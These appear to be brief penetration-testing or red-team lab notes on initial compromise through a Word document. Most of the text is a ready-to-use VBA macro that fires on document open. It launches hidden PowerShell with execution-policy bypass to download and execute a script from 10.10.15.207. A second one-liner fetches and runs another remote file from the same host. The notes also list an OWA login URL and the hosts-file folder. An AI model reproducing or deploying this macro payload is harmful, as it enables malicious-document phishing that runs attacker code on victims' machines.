Lateral movement

**C:\Windows\System32\drivers\etc folder**

https://mail.cyber.local/owa

Macro preparation

VBA Macros

Sub MyMacro()

    Dim str2 As String

    str2 = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://10.10.15.207/large1.ps1'))"
    Shell str2, vbHide
End Sub
Sub Document_Open()
    MyMacro
End Sub
Sub AutoOpen()
    MyMacro
End Sub

(New-Object System.Net.WebClient).DownloadString('http://10.10.15.207:80/am.txt') | IEX

Initial Compormise